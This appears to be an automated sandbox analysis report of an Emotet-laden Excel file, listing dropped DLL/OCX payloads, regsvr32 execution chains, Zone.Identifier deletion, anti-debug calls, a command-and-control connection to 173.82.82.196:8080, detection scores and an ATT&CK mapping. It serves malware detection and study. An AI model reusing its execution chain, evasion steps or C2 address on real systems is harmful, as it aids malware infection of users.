Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\klJrMZJhgldiJr6j0XWPeZOiGs[1].dll 278D0C0BAF0203C13A5E72F31027F4FD0921F6FA2A84656485D86F8D09D562C0
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\RD05UTHGkitvIJt[1].dll CAE8D1C14C85D10D7413AF876E6748813AD6930CF4D856E120857C4489A690DA
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll 90498F1EE590DA28566434C15EFCFD98E829846F233387553EA655FC7559168D

Source: melimar.com.xls	Virustotal: Detection: 57%
Source: melimar.com.xls	Metadefender: Detection: 31%
Source: melimar.com.xls	ReversingLabs: Detection: 51%

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\HtkzwckLMRsIno\zbbayGuUXRtRt.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\XcSShRaCEZoMkA\LaeOniCeFWEmCa.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\WFwVcxpK\qMgBgEIcUslg.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\HtkzwckLMRsIno\zbbayGuUXRtRt.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\XcSShRaCEZoMkA\LaeOniCeFWEmCa.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\WFwVcxpK\qMgBgEIcUslg.dll"	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\uxevr1.ocx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR68B1.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLS@16/16@5/5

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: melimar.com.xls	OLE indicator, Workbook stream: true
Source: melimar.com.xls.0.dr	OLE indicator, Workbook stream: true

Source: C:\Windows\System32\regsvr32.exe

Code function: 4_2_0000000180006F2C CloseHandle,Process32FirstW,CreateToolhelp32Snapshot,Process32NextW,

4_2_0000000180006F2C

Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: melimar.com.xls

Initial sample: OLE indicators vbamacros = False

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000C892 push ebp; retf	3_2_000000018000C895
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D095 push B3B8007Eh; iretd	3_2_000000018000D09A
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D0F3 push ebp; iretd	3_2_000000018000D0F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180013551 push ebx; retf	3_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D15D push ebx; retn 0068h	3_2_000000018000D15E
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000CDA8 push ebp; iretd	3_2_000000018000CDA9
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000CE36 push 458B0086h; iretd	3_2_000000018000CE3B
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180013551 push ebx; retf	4_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000C892 push ebp; retf	5_2_000000018000C895
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000D095 push B3B8007Eh; iretd	5_2_000000018000D09A
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000D0F3 push ebp; iretd	5_2_000000018000D0F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180013551 push ebx; retf	5_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000D15D push ebx; retn 0068h	5_2_000000018000D15E
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000CDA8 push ebp; iretd	5_2_000000018000CDA9
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000CE36 push 458B0086h; iretd	5_2_000000018000CE3B
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180013551 push ebx; retf	7_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000C892 push ebp; retf	8_2_000000018000C895
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000D095 push B3B8007Eh; iretd	8_2_000000018000D09A
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000D0F3 push ebp; iretd	8_2_000000018000D0F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180013551 push ebx; retf	8_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000D15D push ebx; retn 0068h	8_2_000000018000D15E
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000CDA8 push ebp; iretd	8_2_000000018000CDA9
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000CE36 push 458B0086h; iretd	8_2_000000018000CE3B
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180013551 push ebx; retf	9_2_0000000180013559

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D30CC0 LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

3_2_000007FEF9D30CC0

Source: uxevr1.ocx.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x5bd5c
Source: uxevr3.ocx.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x5c302
Source: uxevr2.ocx.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x66558
Source: me435CErJsFGw1q[1].dll.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x66558
Source: klJrMZJhgldiJr6j0XWPeZOiGs[1].dll.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x5c302
Source: RD05UTHGkitvIJt[1].dll.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x5bd5c

Source: C:\Windows\System32\regsvr32.exe

Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\HtkzwckLMRsIno\zbbayGuUXRtRt.dll"

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\XcSShRaCEZoMkA\LaeOniCeFWEmCa.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\WFwVcxpK\qMgBgEIcUslg.dll (copy)	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr3.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\klJrMZJhgldiJr6j0XWPeZOiGs[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\RD05UTHGkitvIJt[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\HtkzwckLMRsIno\zbbayGuUXRtRt.dll (copy)	Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\XcSShRaCEZoMkA\LaeOniCeFWEmCa.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\WFwVcxpK\qMgBgEIcUslg.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\HtkzwckLMRsIno\zbbayGuUXRtRt.dll (copy)	Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr3.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr3.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\HtkzwckLMRsIno\zbbayGuUXRtRt.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\XcSShRaCEZoMkA\LaeOniCeFWEmCa.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\WFwVcxpK\qMgBgEIcUslg.dll:Zone.Identifier read attributes \| delete	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe TID: 2284	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1488	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2648	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2592	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2228	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 500	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_3-16410

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\klJrMZJhgldiJr6j0XWPeZOiGs[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\RD05UTHGkitvIJt[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll	Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe	API coverage: 8.2 %
Source: C:\Windows\System32\regsvr32.exe	API coverage: 8.2 %
Source: C:\Windows\System32\regsvr32.exe	API coverage: 7.3 %

Source: C:\Windows\System32\regsvr32.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800248B0 FindFirstFileW,FindNextFileW,FindClose,	4_2_00000001800248B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_00000001800248B0 FindFirstFileW,FindNextFileW,FindClose,	7_2_00000001800248B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800248B0 FindFirstFileW,FindNextFileW,FindClose,	9_2_00000001800248B0

Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node	graph_3-16412
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node	graph_3-16517
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node	graph_5-16481
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node	graph_5-16668
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D23280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

3_2_000007FEF9D23280

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D30215 _itow_s,_invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,_wcsftime_l,_invoke_watson_if_oneof,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_snwprintf_s,_invoke_watson_if_oneof,_invoke_watson_if_error,_invoke_watson_if_oneof,_invoke_watson_if_error,_unlock,GetFileType,WriteConsoleW,GetLastError,_invoke_watson_if_oneof,WriteFile,WriteFile,OutputDebugStringW,_itow_s,_invoke_watson_if_error,

3_2_000007FEF9D30215

Source: C:\Windows\System32\regsvr32.exe

3_2_000007FEF9D30CC0

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D23280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_000007FEF9D23280
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D2BE50 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_000007FEF9D2BE50
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF7533280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_000007FEF7533280
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF753BE50 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_000007FEF753BE50
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000007FEF74D3280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_000007FEF74D3280
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000007FEF74DBE50 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_000007FEF74DBE50

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe

Network Connect: 173.82.82.196 8080

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\HtkzwckLMRsIno\zbbayGuUXRtRt.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\XcSShRaCEZoMkA\LaeOniCeFWEmCa.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\WFwVcxpK\qMgBgEIcUslg.dll"	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D28900 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

3_2_000007FEF9D28900

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D28860 HeapCreate,GetVersion,HeapSetInformation,

3_2_000007FEF9D28860

Stealing of Sensitive Information

Yara detected Emotet

Source: Yara match	File source: 7.2.regsvr32.exe.1f00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.regsvr32.exe.1f00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.2c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.3c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.1f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.2010000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.2010000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.925945389.00000000003C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.936818785.0000000002010000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1223804747.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1223146291.00000000001F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.936929041.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.943746358.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1223136184.00000000001C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1223965620.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1223736851.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.943475793.00000000002C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1223393241.0000000001F00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Scripting	Path Interception	111 Process Injection	131 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	43 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	1 Virtualization/Sandbox Evasion	Security Account Manager	12 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	15 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	111 Process Injection	NTDS	1 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	24 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	2 Scripting	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Hidden Files and Directories	DCSync	2 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	2 Obfuscated Files or Information	Proc Filesystem	16 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Regsvr32	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
melimar.com.xls	58%	Virustotal		Browse
melimar.com.xls	32%	Metadefender		Browse
melimar.com.xls	51%	ReversingLabs	Document-Excel.Trojan.Abracadabra

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\klJrMZJhgldiJr6j0XWPeZOiGs[1].dll	100%	Joe Sandbox ML
C:\Users\user\uxevr3.ocx	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\RD05UTHGkitvIJt[1].dll	100%	Joe Sandbox ML
C:\Users\user\uxevr1.ocx	100%	Joe Sandbox ML
C:\Users\user\uxevr2.ocx	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\klJrMZJhgldiJr6j0XWPeZOiGs[1].dll	56%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\RD05UTHGkitvIJt[1].dll	41%	ReversingLabs	Win64.Trojan.Emotet
